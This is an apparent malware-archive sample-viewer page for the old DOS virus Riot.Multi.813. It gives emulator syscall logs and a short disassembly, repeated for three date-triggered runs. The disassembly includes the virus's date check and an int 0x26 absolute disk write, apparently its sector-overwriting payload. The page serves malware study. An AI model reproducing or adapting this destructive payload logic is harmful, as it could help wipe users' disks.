Sample viewer

vx.netlux.org/Virus.DOS.Riot.Multi.813

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:08:46.572745729Z 53 PC: 12abc | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T23:08:46.575049038Z 37 PC: 12b36 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T23:08:46.581590142Z 42 PC: 12b41 | Get date 0x12b41: cmp dl, 1
0x12b44: jne 0x12b4f
0x12b46: mov al, 2
0x12b48: mov cx, 0x270
0x12b4b: cdq
0x12b4c: int 0x26
0x12b4e: popf
0x12b4f: jmp 0x12a99
0x12b52: int 0x12
0x12b54: jmp 0x12b65
0x12b56: nop
0x12b57: dec bp
0x12b58: push bp
0x12b59: dec sp
0x12b5a: push sp
0x12b5b: dec cx
0x12b5c: sub ax, 0x4c46
0x12b5f: push bp
0x12b60: and byte ptr [bp + 0x31], dh
0x12b63: xor byte ptr cs:[bx + di + 0x400], bh

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16309,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:52:31.151345208Z 53 PC: 12abc | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:52:31.15301354Z 37 PC: 12b36 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:52:31.154030722Z 42 PC: 12b41 | Get date 0x12b41: cmp dl, 1
0x12b44: jne 0x12b4f
0x12b46: mov al, 2
0x12b48: mov cx, 0x270
0x12b4b: cdq
0x12b4c: int 0x26
0x12b4e: popf
0x12b4f: jmp 0x12a99
0x12b52: int 0x12
0x12b54: jmp 0x12b65
0x12b56: nop
0x12b57: dec bp
0x12b58: push bp
0x12b59: dec sp
0x12b5a: push sp
0x12b5b: dec cx
0x12b5c: sub ax, 0x4c46
0x12b5f: push bp
0x12b60: and byte ptr [bp + 0x31], dh
0x12b63: xor byte ptr cs:[bx + di + 0x400], bh

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16309,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:52:31.267938876Z 53 PC: 12abc | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:52:31.27507623Z 37 PC: 12b36 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:52:31.276356526Z 42 PC: 12b41 | Get date 0x12b41: cmp dl, 1
0x12b44: jne 0x12b4f
0x12b46: mov al, 2
0x12b48: mov cx, 0x270
0x12b4b: cdq
0x12b4c: int 0x26
0x12b4e: popf
0x12b4f: jmp 0x12a99
0x12b52: int 0x12
0x12b54: jmp 0x12b65
0x12b56: nop
0x12b57: dec bp
0x12b58: push bp
0x12b59: dec sp
0x12b5a: push sp
0x12b5b: dec cx
0x12b5c: sub ax, 0x4c46
0x12b5f: push bp
0x12b60: and byte ptr [bp + 0x31], dh
0x12b63: xor byte ptr cs:[bx + di + 0x400], bh